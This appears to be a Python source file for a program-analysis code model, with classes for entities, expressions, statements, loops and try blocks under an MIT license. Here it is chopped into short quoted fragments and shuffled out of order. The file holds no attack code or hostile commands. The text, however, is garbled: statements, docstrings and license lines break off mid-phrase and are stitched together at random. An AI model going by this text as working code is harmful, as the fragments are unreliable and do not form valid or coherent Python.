"allow blocks to be implicit in some contexts, e.g. an", "for all programming entities. All code objects have a file", "self.id = id self.name = name self.result = result self.parameters", "obtaining a copy #of this software and associated documentation files", "parent, id, name, result): \"\"\"Constructor for variables. Args: scope (CodeEntity):", "conditional (`if`). A conditional is allowed to have a default", "children of this object.\"\"\" for codeobj in self.parameters: yield codeobj", "assumes that control flow branches and functions always have a", "block, when an exception is raised and handled). \"\"\" def", "C++ or Java, consider this special kind of statement for", "*i*-th statement from the object's `body`.\"\"\" return self.statement(i) def __len__(self):", "literal is enclosed in parentheses. \"\"\" try: value = list(value)", "condition and respective body.\"\"\" return [(self.condition, self.body)] def _set_condition(self, condition):", "a block), or a function, given that the variable is", "scope, parent, name) self.declarations = None self.increment = None def", "self.name) class CodeOperator(CodeExpression): \"\"\"This class represents an operator expression (e.g.", "OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR", "= name self.result = result self.parameters = [] self.body =", "class CodeBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents a code block (e.g.", "CodeExpression.__init__(self, None, None, result, result) def _children(self): \"\"\"Yield all the", "iterator is returned. \"\"\" return iter(()) class CodeCompositeLiteral(CodeLiteral): \"\"\"This class", "if self.declarations: yield self.declarations if isinstance(self.condition, CodeExpression): yield self.condition if", "self._definition = self if definition else None @property def is_definition(self):", "program tree. Kwargs: explicit (bool): Whether the block is explicit", "this expression occurs.\"\"\" return self._lookup_parent(CodeStatement) def pretty_str(self, indent=0): \"\"\"Return a", "some variable or collection holding this object. \"\"\" def __init__(self,", "branch is a pair of condition and respective body.\"\"\" return", "of this object.\"\"\" return '[unknown]' class CodeStatementGroup(object): \"\"\"This class is", "self.variables.append(codeobj) def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "compose it (`values`), a type (`result`), and it should indicate", "operator in the program. result (str): The return type of", "after the other blocks (either the `try` block, or a", "structure.\"\"\" assert isinstance(condition, CodeExpression.TYPES) self.condition = condition def _set_body(self, body):", "= expression def _children(self): \"\"\"Yield all direct children of this", "(exception variable declaration and block) to this try block structure.", "if self.is_constructor: return '[{}] new {}({})'.format(self.result, self.name, args) if self.method_of:", "self, explicit=False) @property def then_branch(self): \"\"\"The branch associated with a", "class) to this object.\"\"\" assert isinstance(codeobj, (CodeFunction, CodeVariable, CodeClass)) self.members.append(codeobj)", "in this composition.\"\"\" self.value.append(child) def _children(self): \"\"\"Yield all direct children", "variable is a *member*/*field*/*attribute* of an object, `member_of` should contain", "a program. Expressions can be of many types, including literal", "return pretty.format(spaces, name) def __str__(self): \"\"\"Return a string representation of", "= '{}{} {}({}):\\n'.format(spaces, self.result, self.name, params) if self._definition is not", "name (str): The name of the control flow statement in", "to use as indentation. \"\"\" indent = ' ' *", "\">=\", \"==\", \"!=\", \"&&\", \"||\", \"=\") def __init__(self, scope, parent,", "({})'.format(self.result) if hasattr(self, 'result') else '' prefix = indent *", "bare Python literals are used for those. A literal has", "decls = ('...' if self.declarations is None else self.declarations.pretty_str()) body", "i): \"\"\"Return the statement after the *i*-th one, or `None`.\"\"\"", "bool, basestring, CodeLiteral) class CodeNull(CodeLiteral): \"\"\"This class represents an indefinite", "= None self.body = CodeBlock(scope, self, explicit=True) def _set_declarations(self, declarations):", "code block). It also has an unique `id` that identifies", "# #Permission is hereby granted, free of charge, to any", "self.name, self.arguments[1]) return '[{}] {}'.format(self.result, self.name) class CodeFunctionCall(CodeExpression): \"\"\"This class", "3]`) and a type (`result`), and could be enclosed in", "THE WARRANTIES OF MERCHANTABILITY, #FITNESS FOR A PARTICULAR PURPOSE AND", "block.\"\"\" assert isinstance(declarations, CodeStatement) self.declarations = declarations declarations.scope = self.body", "statement): \"\"\"Set the increment statement for this loop (e.g. in", "this object.\"\"\" return '[namespace {}]'.format(self.name) class CodeGlobalScope(CodeEntity): \"\"\"This class represents", "(CodeGlobalScope, CodeNamespace)) @property def is_parameter(self): \"\"\"Whether this is a function", "tree. Kwargs: expression (CodeExpression): The expression of this statement. \"\"\"", "= self.increment.pretty_str(indent=1) if self.increment else '' pretty = '{}for ({};", "return (isinstance(self.scope, CodeStatement) or (isinstance(self.scope, CodeFunction) and self not in", "\"\"\" indent = ' ' * indent values = '{{{}}}'.format(',", "one of the most complex constructs of programming languages, so", "'{}({})' if self.parenthesis else '{}{}' args = ', '.join(map(pretty_str, self.arguments))", "documentation files (the \"Software\"), to deal #in the Software without", "the program. \"\"\" CodeStatement.__init__(self, scope, parent) self.name = name self.condition", "= None self.member_of = None self.references = [] self.writes =", "not isinstance(codeobj, cls): codeobj = codeobj.parent return codeobj def pretty_str(self,", "in self.value: if isinstance(value, CodeEntity): yield value def pretty_str(self, indent=0):", "True, self.else_body def statement(self, i): \"\"\"Return the *i*-th statement of", "codeobj in self.body._children(): yield codeobj def _afterpass(self): \"\"\"Assign a function-local", "this object, going down.\"\"\" yield self for child in self._children():", "statement after the *i*-th one, or `None`.\"\"\" try: return self.statement(i", "body for try block structure.\"\"\" assert isinstance(body, CodeBlock) self.body =", "an operator expression (e.g. `a + b`). Operators can be", "Expression Entities --------------------------------------------------- class CodeExpression(CodeEntity): \"\"\"Base class for expressions within", "(str): The name of the statement in the program. \"\"\"", "this is a ternary operator.\"\"\" return len(self.arguments) == 3 @property", "\"\"\"Constructor for jump statements. Args: scope (CodeEntity): The program scope", "identifier for this function. name (str): The name of the", "scope, parent, name, result, paren) self.full_name = name self.arguments =", "indentation. \"\"\" if isinstance(something, CodeEntity): return something.pretty_str(indent=indent) else: return ('", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" return 'catch", "CodeBlock): self.else_body = body else: self.else_body._add(body) def __len__(self): \"\"\"Return the", "default argument has only a return type. \"\"\" def __init__(self,", "__init__(self, scope, parent, name): \"\"\"Constructor for loops. Args: scope (CodeEntity):", "else: pretty += self.body.pretty_str(indent + 2) return pretty def __repr__(self):", "non-existent. A namespace typically has a name and a list", "function(self): \"\"\"The function where this expression occurs.\"\"\" return self._lookup_parent(CodeFunction) @property", "self.name, params) else: pretty = '{}{} {}({}):\\n'.format(spaces, self.result, self.name, params)", "or `None`.\"\"\" k = i + 1 o = len(self.body)", "`body`.\"\"\" return self.statement(i) def __len__(self): \"\"\"Return the length of the", "__init__(self, scope, parent, name): \"\"\"Constructor for control flow structures. Args:", "CodeStatement.__init__(self, scope, parent) self.declarations = None self.body = CodeBlock(scope, self,", "class CodeNull(CodeLiteral): \"\"\"This class represents an indefinite value. Many programming", "statement contains a list of all declared variables. \"\"\" def", "try block structure.\"\"\" assert isinstance(body, CodeBlock) self.finally_body = body def", "jump statements. Args: scope (CodeEntity): The program scope where this", "parent, None, 'null', paren) def _children(self): \"\"\"Yield all the children", "uniquely identifies it in the program (useful to resolve references),", "SOFTWARE. ############################################################################### # Language Model ############################################################################### class CodeEntity(object): \"\"\"Base class", "objects.\"\"\" CodeEntity.__init__(self, None, None) self.children = [] def _add(self, codeobj):", "Some languages also allow a `finally` block that is executed", "declaration of the class.\"\"\" return self._definition is self def _add(self,", "string representation of this object.\"\"\" return '#' + self.name def", "_UNARY_TOKENS = (\"+\", \"-\") _BINARY_TOKENS = (\"+\", \"-\", \"*\", \"/\",", "CodeExpression.TYPES) self.condition = condition def _set_body(self, body): \"\"\"Set the main", "getattr(self, 'name', '[no spelling]') result = ' ({})'.format(self.result) if hasattr(self,", "self.walk_preorder(): codeobj._fi = fi fi += 1 if isinstance(codeobj, CodeOperator)", "0: if k < o: return self.body.statement(k) if k >", "SomeValue(CodeExpression): \"\"\"This class represents an unknown value for diverse primitive", "(CodeFunction, CodeVariable, CodeClass)) self.members.append(codeobj) codeobj.member_of = self def _children(self): \"\"\"Yield", "\"\"\" _UNARY_TOKENS = (\"+\", \"-\") _BINARY_TOKENS = (\"+\", \"-\", \"*\",", "object.\"\"\" if self.declarations: yield self.declarations if isinstance(self.condition, CodeExpression): yield self.condition", "CodeLiteral just for consistency with the class hierarchy. It should", "new {}({})'.format(self.result, self.name, args) if self.method_of: return '[{}] {}.{}({})'.format(self.result, self.method_of.name,", "have a block as their body. \"\"\" def __init__(self, scope,", "self.arguments)) if self.method_of: call = '{}.{}({})'.format(self.method_of.pretty_str(), self.name, args) elif self.is_constructor:", "of children objects (variables, functions or classes). \"\"\" def __init__(self,", "is a reference of.\"\"\" assert isinstance(codeobj, CodeExpression) self.field_of = codeobj", "(bool): Whether the literal is enclosed in parentheses. \"\"\" CodeExpression.__init__(self,", "this object.\"\"\" return '[unknown]' class CodeStatementGroup(object): \"\"\"This class is meant", "blocks). It is not meant to be instantiated directly, only", "spaces + ' [declaration]' else: pretty += self.body.pretty_str(indent + 2)", "Operators can be unary or binary, and often return numbers", "for codeobj in self.parameters: yield codeobj for codeobj in self.body._children():", "if self.declarations else '' i = self.increment.pretty_str(indent=1) if self.increment else", "scope, parent, id, name, result, definition=True): \"\"\"Constructor for functions. Args:", "constant string is used instead. Args: scope (CodeEntity): The program", "of the loop statement in the program. \"\"\" CodeControlFlow.__init__(self, scope,", "self.increment for codeobj in self.body._children(): yield codeobj def pretty_str(self, indent=0):", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" params =", "primitive types.\"\"\" def __init__(self, result): \"\"\"Constructor for unknown values.\"\"\" CodeExpression.__init__(self,", "{}'.format(' ' * indent, self.result, self.name, pretty_str(self.value)) def __repr__(self): \"\"\"Return", "It defines the length of a statement group, and provides", "the program and a list of references to it. If", "global scope is the root object of a program. If", "self._children(): for descendant in child.walk_preorder(): yield descendant def filter(self, cls,", "\"\"\"Add a value to the sequence in this composition.\"\"\" self.value.append(child)", "of spaces to use as indentation. \"\"\" indent = '", "methods for objects that group multiple program statements together (e.g.", "name. \"\"\" def __init__(self, scope, parent, value, result, paren=False): \"\"\"Constructor", "if recursive else self._children return [ codeobj for codeobj in", "statement. `try` blocks have a main body of statements, just", "'.join(map(str, self.parameters)) return '[{}] {}({})'.format(self.result, self.name, params) class CodeClass(CodeEntity): \"\"\"This", "scope, parent): \"\"\"Constructor for catch block structures.\"\"\" CodeStatement.__init__(self, scope, parent)", "+ ', '.join(v.pretty_str() for v in self.variables) def __repr__(self): \"\"\"Return", "yield codeobj def __repr__(self): \"\"\"Return a string representation of this", "' * indent if self.value is not None: return '{}{}", "= ' ' * indent params = ', '.join(map(lambda p:", "the program tree. \"\"\" CodeControlFlow.__init__(self, scope, parent, 'if') self.else_body =", "'_fi'): return fi = 0 for codeobj in self.walk_preorder(): codeobj._fi", "operators are included here. An operator typically has a name", "This literal's value. result (str): The return type of the", "{}'.format(indent, self.name, pretty_str(self.value)) return indent + self.name def __repr__(self): \"\"\"Return", "CodeStatement) codeobj._si = len(self.body) self.body.append(codeobj) def _children(self): \"\"\"Yield all direct", "be repeated while the condition holds. \"\"\" def __init__(self, scope,", "parent in the program tree. \"\"\" self.scope = scope self.parent", "value (or `None` for variables without a value or when", "write new values to the variable. If the variable is", "+= spaces + ' [declaration]' return pretty def __repr__(self): \"\"\"Return", "result (str): The return type of the expression in the", "`None`. \"\"\" def __init__(self, scope, parent, id, name, result): \"\"\"Constructor", "= CodeBlock(scope, self, explicit=True) def _set_body(self, body): \"\"\"Set the main", "self.parenthesis = paren @property def function(self): \"\"\"The function where this", "example is the assignment operator, which can be a statement", "block), or a function, given that the variable is not", "')' pretty += ':\\n' if self.members: pretty += '\\n\\n'.join( c.pretty_str(indent", "list of parameters and a body (a code block). It", "CodeReference): var = codeobj.arguments[0].reference if isinstance(var, CodeVariable): var.writes.append(codeobj) def pretty_str(self,", "class, its `member_of` should be set to the corresponding class.", "----- Common Entities ------------------------------------------------------- class CodeVariable(CodeEntity): \"\"\"This class represents a", "program. Kwargs: paren (bool): Whether the reference is enclosed in", "value in self.value: if isinstance(value, CodeEntity): yield value def pretty_str(self,", "loops. Args: scope (CodeEntity): The program scope where this object", "object.\"\"\" args = ', '.join(map(str, self.arguments)) if self.is_constructor: return '[{}]", "the reference is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent,", "typically has a name, a type (`result`) and a value", "If the variable is a *member*/*field*/*attribute* of an object, `member_of`", "CodeExpression.__init__(self, scope, parent, '(default)', result) # ----- Statement Entities ----------------------------------------------------", "expressions. Args: scope (CodeEntity): The program scope where this object", "def __repr__(self): \"\"\"Return a string representation of this object.\"\"\" args", "declaring variables within a function, for instance. A declaration statement", "use as indentation. \"\"\" if self.body: return '\\n'.join(stmt.pretty_str(indent) for stmt", "definition or a declaration of the class.\"\"\" return self._definition is", "references and function calls. This class is meant to be", "i + 1 o = len(self.body) n = o +", "_set_body(self, body): \"\"\"Set the main body for try block structure.\"\"\"", "self.name if self.superclasses: superclasses = ', '.join(self.superclasses) pretty += '('", "indefinite value. Many programming languages have their own version of", "arguments. Args: scope (CodeEntity): The program scope where this object", "custom exception message. o = len(self.body) n = o +", "scope, parent, '(default)', result) # ----- Statement Entities ---------------------------------------------------- class", "in self.scope.parameters)) @property def is_global(self): \"\"\"Whether this is a global", "branch and the default branch.\"\"\" if self.else_branch: return [self.then_branch, self.else_branch]", "if k > o - n: return self.else_body.statement(k) return None", "branch to this switch.\"\"\" self.default_case = statement def pretty_str(self, indent=0):", "block structure.\"\"\" assert isinstance(body, CodeBlock) self.body = body def _add_catch(self,", "\"\"\"Base class for expressions within a program. Expressions can be", "pretty_str(self.value)) return pretty_str(self.value, indent=indent) def __repr__(self): \"\"\"Return a string representation", "method is called.\"\"\" assert isinstance(codeobj, CodeExpression) self.method_of = codeobj def", "#in the Software without restriction, including without limitation the rights", "None self.body = CodeBlock(scope, self, explicit=True) def _set_declarations(self, declarations): \"\"\"Set", "that object. \"\"\" def __init__(self, scope, parent, name, result, paren=False):", "have default values when not explicitly provided by the programmer.", "2 @property def is_ternary(self): \"\"\"Whether this is a ternary operator.\"\"\"", "self.value: if isinstance(value, CodeEntity): yield value def pretty_str(self, indent=0): \"\"\"Return", "is_definition(self): \"\"\"Whether this is a function definition or just a", "(str): The name of the expression in the program. result", "tree. \"\"\" self.scope = scope self.parent = parent self.file =", "for integer-based indexing of program statements (as if using a", "conditional is allowed to have a default branch (the `else`", "yield codeobj for catch_block in self.catches: for codeobj in catch_block._children():", "languages have their own version of this concept: Java has", "def _add(self, codeobj): \"\"\"Add a child (namespace, function, variable, class)", "object's parent in the program tree. value (iterable): The initial", "the variable in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id", "children of this object.\"\"\" if isinstance(self.condition, CodeExpression): yield self.condition for", "\"\"\" spaces = ' ' * indent decls = ('...'", "operator = self.name + pretty_str(self.arguments[0]) else: operator = '{} {}", "'\\n\\n'.join( c.pretty_str(indent + 2) for c in self.members ) else:", "structure. \"\"\" assert isinstance(catch_block, self.CodeCatchBlock) self.catches.append(catch_block) def _set_finally_body(self, body): \"\"\"Set", "parent): \"\"\"Constructor for declaration statements. Args: scope (CodeEntity): The program", "condition) pretty += self.body.pretty_str(indent=indent + 2) if self.else_body: pretty +=", "`else` branch), besides its mandatory one. \"\"\" def __init__(self, scope,", "\"-\") _BINARY_TOKENS = (\"+\", \"-\", \"*\", \"/\", \"%\", \"<\", \">\",", "program tree. name (str): The name of the function in", "isinstance(body, CodeStatement) if isinstance(body, CodeBlock): self.body = body else: self.body._add(body)", "id self.name = name self.result = result self.value = None", "spaces = ' ' * indent pretty = '{}namespace {}:\\n'.format(spaces,", "the expression in the program. Kwargs: paren (bool): Whether the", "col = self.column or 0 name = type(self).__name__ spell =", "of members (variables, functions), a list of superclasses, and a", "_afterpass(self): \"\"\"Finalizes the construction of a code entity.\"\"\" pass def", "def __init__(self, scope, parent): \"\"\"Constructor for statements. Args: scope (CodeEntity):", "DEALINGS IN #THE SOFTWARE. ############################################################################### # Language Model ############################################################################### class", "corresponding class. \"\"\" def __init__(self, scope, parent, id, name, result,", "parameters to have default values when not explicitly provided by", "of spaces to use as indentation. \"\"\" if isinstance(something, CodeEntity):", "CodeLiteral(CodeExpression): \"\"\"Base class for literal types not present in Python.", "parent): \"\"\"Base constructor for code objects. Args: scope (CodeEntity): The", "is None else self.declarations.pretty_str()) body = self.body.pretty_str(indent=indent + 2) pretty", "all blocks combined.\"\"\" n = len(self.body) + len(self.catches) + len(self.finally_body)", "return self.body.statement(k) if k > o - n: return self.else_body.statement(k)", "SomeValue(\"char\") SomeValue.STRING = SomeValue(\"string\") SomeValue.BOOL = SomeValue(\"bool\") class CodeLiteral(CodeExpression): \"\"\"Base", "value (CodeExpression|CodeExpression[]): This literal's value. result (str): The return type", "self for child in self._children(): for descendant in child.walk_preorder(): yield", "the called function is a constructor.\"\"\" return self.result == self.name", "namespace typically has a name and a list of children", "person obtaining a copy #of this software and associated documentation", "object.\"\"\" if self.value is not None: return '{} {}'.format(self.name, str(self.value))", "where this statement appears in.\"\"\" return self._lookup_parent(CodeFunction) class CodeJumpStatement(CodeStatement): \"\"\"This", "__init__(self, scope, parent, id, name, result, definition=True): \"\"\"Constructor for functions.", "parent, name): \"\"\"Constructor for loops. Args: scope (CodeEntity): The program", "of range') def statement_after(self, i): \"\"\"Return the statement after the", "child (function, variable, class) to this object.\"\"\" assert isinstance(codeobj, (CodeFunction,", "in self.members: if not codeobj.is_definition: if not codeobj._definition is None:", "or a declaration of the class.\"\"\" return self._definition is self", "with a condition.\"\"\" return self.condition, self.body @property def else_branch(self): \"\"\"The", "object is a valid construct.\"\"\" return True def _children(self): \"\"\"Yield", "'.join(v.pretty_str() for v in self.variables) def __repr__(self): \"\"\"Return a string", "'[{}] {{{}}}'.format(self.result, ', '.join(map(repr, self.value))) class CodeReference(CodeExpression): \"\"\"This class represents", "of many types, including literal values, operators, references and function", "name, an unique `id`, a list of members (variables, functions),", "token), a return type, and a tuple of its arguments.", "self.body = CodeBlock(self, self, explicit=True) self.member_of = None self.references =", "result): \"\"\"Constructor for variables. Args: scope (CodeEntity): The program scope", "this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.value = codeobj def _children(self):", "= ', '.join(map(lambda p: p.result + ' ' + p.name,", "\"\"\" def __init__(self, scope, parent, id, name, result): \"\"\"Constructor for", "args (tuple): Initial tuple of arguments. paren (bool): Whether the", "k < n: return self.else_body.statement(k) if k < 0: if", "def _add_catch(self, catch_block): \"\"\"Add a catch block (exception variable declaration", "assert isinstance(condition, CodeExpression.TYPES) self.condition = condition def _set_body(self, body): \"\"\"Set", "class CodeControlFlow(CodeStatement, CodeStatementGroup): \"\"\"Base class for control flow structures (e.g.", "CodeNamespace(CodeEntity): \"\"\"This class represents a program namespace. A namespace is", "direct children of this object.\"\"\" for codeobj in self.variables: yield", "\"\"\" return '{}{} {} = {}'.format(' ' * indent, self.result,", "self.finally_body._children(): yield codeobj def __len__(self): \"\"\"Return the length of all", "----- Statement Entities ---------------------------------------------------- class CodeStatement(CodeEntity): \"\"\"Base class for program", "to handle specific types of exceptions. Some languages also allow", "program function. A function typically has a name, a return", "object.\"\"\" return '[{}] {!r}'.format(self.result, self.value) CodeExpression.TYPES = (int, long, float,", "is also the only object that does not have a", "only a return type. \"\"\" def __init__(self, scope, parent, result):", "None self.references = [] self._definition = self if definition else", "Kwargs: expression (CodeExpression): The expression of this statement. \"\"\" CodeStatement.__init__(self,", "__init__(self, scope, parent, name, result, paren=False): \"\"\"Constructor for function calls.", "be enclosed in parentheses. It does not have a name.", "(useful to resolve references), a list of references to it", "parent) self._si = -1 @property def function(self): \"\"\"The function where", "meant to provide common utility methods for objects that group", "inherits from CodeLiteral just for consistency with the class hierarchy.", "parent, name, result, paren) self.field_of = None self.reference = None", "\"\"\"Whether this is an assignment operator.\"\"\" return self.name == \"=\"", "is met). Specific implementations may consider more branches, or default", "\"\"\"This class represents a program variable. A variable typically has", "program. result (str): The return type of the function in", "' + p.name, self.parameters)) if self.is_constructor: pretty = '{}{}({}):\\n'.format(spaces, self.name,", "self.else_body: pretty += '\\n{}else:\\n'.format(spaces) pretty += self.else_body.pretty_str(indent=indent + 2) return", "\"\"\" def __init__(self, scope, parent, result, value=(), paren=False): \"\"\"Constructor for", "in many programming languages are list literals, often constructed as", "self.body._add(codeobj) def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "\"\"\"Yield all direct children of this object.\"\"\" if isinstance(self.expression, CodeExpression):", "a minimal string to print a tree-like structure. Kwargs: indent", "self.parameters)) if self.is_constructor: pretty = '{}{}({}):\\n'.format(spaces, self.name, params) else: pretty", "has a name (of what it is referencing), and a", "object.\"\"\" if self.is_unary: return '[{}] {}({})'.format(self.result, self.name, self.arguments[0]) if self.is_binary:", "the corresponding class. \"\"\" def __init__(self, scope, parent, id_, name,", "returned. \"\"\" return iter(()) class CodeCompositeLiteral(CodeLiteral): \"\"\"This class represents a", "len(self.else_body) def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "for this function. name (str): The name of the function", "or 0 name = type(self).__name__ spell = getattr(self, 'name', '[no", "a try-catch block statement. `try` blocks have a main body", "often one of the most complex constructs of programming languages,", "unique identifier for this variable. name (str): The name of", "isinstance(codeobj, (CodeStatement, CodeExpression)) self.body._add(codeobj) def _children(self): \"\"\"Yield all direct children", "name, result, paren=False): \"\"\"Constructor for references. Args: scope (CodeEntity): The", "conditional (the `else` branch).\"\"\" assert isinstance(body, CodeStatement) if isinstance(body, CodeBlock):", "+= '\\n\\n'.join( c.pretty_str(indent + 2) for c in self.members )", "\"\"\" def __init__(self, scope, parent, id_, name, definition=True): \"\"\"Constructor for", "body = self.body.pretty_str(indent=indent + 2) pretty = '{}catch ({}):\\n{}'.format(spaces, decls,", "_afterpass(self): \"\"\"Call the `_afterpass()` of child objects. This should only", "else '' i = self.increment.pretty_str(indent=1) if self.increment else '' pretty", "within a larger expression. \"\"\" def __init__(self, scope, parent, expression=None):", "constructor for code objects. Args: scope (CodeEntity): The program scope", "class for control flow structures (e.g. `for` loops). Control flow", "this object.\"\"\" return 'catch ({}) {}'.format(self.declarations, self.body) def pretty_str(self, indent=0):", "distribute, sublicense, and/or sell #copies of the Software, and to", "that is executed when the condition is met). Specific implementations", "# ----- Expression Entities --------------------------------------------------- class CodeExpression(CodeEntity): \"\"\"Base class for", "should be repeated while the condition holds. \"\"\" def __init__(self,", "object.\"\"\" assert isinstance(codeobj, CodeStatement) codeobj._si = len(self.body) self.body.append(codeobj) def _children(self):", "default arguments. Args: scope (CodeEntity): The program scope where this", "a code entity.\"\"\" pass def _validity_check(self): \"\"\"Check whether this object", "params) else: pretty = '{}{} {}({}):\\n'.format(spaces, self.result, self.name, params) if", "just to avoid creating a new list and # returning", "'{}.{}({})'.format(self.method_of.pretty_str(), self.name, args) elif self.is_constructor: call = 'new {}({})'.format(self.name, args)", "@property def is_parameter(self): \"\"\"Whether this is a function parameter.\"\"\" return", "explicit in languages such as C++, but less explicit in", "of references. If a class is defined within another class", "self.children.append(codeobj) def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "self.method_of: return '[{}] {}.{}({})'.format(self.result, self.method_of.name, self.name, args) return '[{}] {}({})'.format(self.result,", "and k < n: return self.else_body.statement(k) if k < 0:", "this object.\"\"\" assert isinstance(codeobj, (CodeFunction, CodeVariable, CodeClass)) self.members.append(codeobj) codeobj.member_of =", "OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE", "(bool): Whether the null literal is enclosed in parentheses. \"\"\"", "\"\"\" def __init__(self, scope, parent, name, result, paren=False): \"\"\"Constructor for", "yield self.expression def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "value, result, paren) @property def values(self): return tuple(self.value) def _add_value(self,", "variable). A reference typically has a name (of what it", "statement) to this switch.\"\"\" self.cases.append((value, statement)) def _add_default_branch(self, statement): \"\"\"Add", "__init__(self, scope, parent, name, result, args=None, paren=False): \"\"\"Constructor for operators.", "'[{}] ({}){}({})'.format(self.result, self.arguments[0], self.name, self.arguments[1]) return '[{}] {}'.format(self.result, self.name) class", "object.\"\"\" return self.__repr__() def __repr__(self): \"\"\"Return a string representation of", "-1 @property def function(self): \"\"\"The function where this statement appears", "an `id` which uniquely identifies it in the program (useful", "\"\"\"Iterates the program tree starting from this object, going down.\"\"\"", "this object.\"\"\" if self.declarations: yield self.declarations if isinstance(self.condition, CodeExpression): yield", "'{}namespace {}:\\n'.format(spaces, self.name) pretty += '\\n\\n'.join(c.pretty_str(indent + 2) for c", "\"\"\"Yield all direct children of this object.\"\"\" if isinstance(self.condition, CodeExpression):", "self.catches.append(catch_block) def _set_finally_body(self, body): \"\"\"Set the finally body for try", "0`). \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for jump", "operator) def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "def _set_declarations(self, declarations): \"\"\"Set declarations local to this catch block.\"\"\"", "for try block structures. Args: scope (CodeEntity): The program scope", "codeobj def __len__(self): \"\"\"Return the length of all blocks combined.\"\"\"", "a wrapper. Many programming languages allow expressions to be statements", "program tree. \"\"\" self.scope = scope self.parent = parent self.file", "declared variables. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for declaration", "this object.\"\"\" return 'try {} {} {}'.format(self.body, self.catches, self.finally_body) def", "list of statements that write new values to the variable.", "whose type is not numeric, string or boolean, as bare", "name self.members = [] self.superclasses = [] self.member_of = None", "+ 2) return pretty def __repr__(self): \"\"\"Return a string representation", "\"%\", \"<\", \">\", \"<=\", \">=\", \"==\", \"!=\", \"&&\", \"||\", \"=\")", "self.body)] def _set_condition(self, condition): \"\"\"Set the condition for this control", "self.catches: pretty += '\\n' + block.pretty_str(indent) if len(self.finally_body) > 0:", "'{}if ({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent + 2) if self.else_body:", "object that does not have a `scope` or `parent`. \"\"\"", "def __init__(self, scope, parent, result): \"\"\"Constructor for default arguments. Args:", "pretty class CodeSwitch(CodeControlFlow): \"\"\"This class represents a switch statement. A", "name (str): The name of the expression in the program.", "\"\"\"Constructor for variables. Args: scope (CodeEntity): The program scope where", "to use as indentation. \"\"\" if isinstance(something, CodeEntity): return something.pretty_str(indent=indent)", "def _set_body(self, body): \"\"\"Set the main body for try block", "to) and a parent object that should have some variable", "pretty += ':\\n' if self.members: pretty += '\\n\\n'.join( c.pretty_str(indent +", "then_branch(self): \"\"\"The branch associated with a condition.\"\"\" return self.condition, self.body", "if isinstance(something, CodeEntity): return something.pretty_str(indent=indent) else: return (' ' *", "@property def is_constructor(self): \"\"\"Whether this function is a class constructor.\"\"\"", "indentation. \"\"\" if self.parenthesis: return '{}({})'.format(' ' * indent, pretty_str(self.value))", "only object that does not have a `scope` or `parent`.", "so, subject to the following conditions: #The above copyright notice", "= result self.value = None self.member_of = None self.references =", "a custom exception message. o = len(self.body) n = o", "any person obtaining a copy #of this software and associated", "all direct children of this object.\"\"\" if self.declarations: yield self.declarations", "return type of the operator in the program. Kwargs: args", "number of indentation levels. \"\"\" line = self.line or 0", "list and # returning a custom exception message. o =", "the program. \"\"\" CodeExpression.__init__(self, scope, parent, '(default)', result) # -----", "a name (of the called function), a return type, a", "\"\"\"Constructor for try block structures. Args: scope (CodeEntity): The program", "a ternary operator.\"\"\" return len(self.arguments) == 3 @property def is_assignment(self):", "return iter(()) class CodeCompositeLiteral(CodeLiteral): \"\"\"This class represents a composite literal.", "the program. result (str): The type of the variable in", "children of this object.\"\"\" if isinstance(self.expression, CodeExpression): yield self.expression def", "self.arguments[0], self.name, self.arguments[1]) return '[{}] {}'.format(self.result, self.name) class CodeFunctionCall(CodeExpression): \"\"\"This", "of this statement. \"\"\" CodeStatement.__init__(self, scope, parent) self.expression = expression", "for codeobj in self.members: if not codeobj.is_definition: if not codeobj._definition", "return str(self.variables) class CodeControlFlow(CodeStatement, CodeStatementGroup): \"\"\"Base class for control flow", "flow structures (e.g. `for` loops). Control flow statements are assumed", "to the variable. If the variable is a *member*/*field*/*attribute* of", "after the object is fully built. \"\"\" for codeobj in", "CodeStatement) self.increment = statement statement.scope = self.body def _children(self): \"\"\"Yield", "(`result`), a list of parameters and a body (a code", "have a name. \"\"\" def __init__(self, scope, parent, value, result,", "COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER", "\"\"\"Add a catch block (exception variable declaration and block) to", "return pretty.format(indent, operator) def __repr__(self): \"\"\"Return a string representation of", "else: call = '{}({})'.format(self.name, args) return pretty.format(indent, call) def __repr__(self):", "An unique identifier for this class. name (str): The name", "representation of this object.\"\"\" args = ', '.join(map(str, self.arguments)) if", "_children(self): \"\"\"Yield all direct children of this object.\"\"\" if self.declarations:", "a return type (`result`), a list of parameters and a", "superclasses, and a list of references. If a class is", "children of this object.\"\"\" for codeobj in self.members: yield codeobj", "'\\n'.join(stmt.pretty_str(indent) for stmt in self.body) else: return (' ' *", "class hierarchy. It should have no children, thus an empty", "= 0 for codeobj in self.walk_preorder(): codeobj._fi = fi fi", "a member/attribute of a class or object.\"\"\" return isinstance(self.scope, CodeClass)", "bool, basestring, SomeValue, CodeLiteral, CodeExpression) CodeExpression.LITERALS = (int, long, float,", "b`). Operators can be unary or binary, and often return", "return self.member_of is not None def _add(self, codeobj): \"\"\"Add a", "the evaluated value is equal to the branch value. It", "self.default_case = None def _add_branch(self, value, statement): \"\"\"Add a branch/case", "\"&&\", \"||\", \"=\") def __init__(self, scope, parent, name, result, args=None,", "of spaces to use as indentation. \"\"\" if self.body: return", "id_, name, definition=True): \"\"\"Constructor for classes. Args: scope (CodeEntity): The", "object.\"\"\" params = ', '.join(map(str, self.parameters)) return '[{}] {}({})'.format(self.result, self.name,", "child (variable) to this object.\"\"\" assert isinstance(codeobj, CodeVariable) self.variables.append(codeobj) def", "condition): \"\"\"Set the condition for this control flow structure.\"\"\" assert", "or substantial portions of the Software. #THE SOFTWARE IS PROVIDED", "a `CodeBlock` that is executed when the condition is met).", 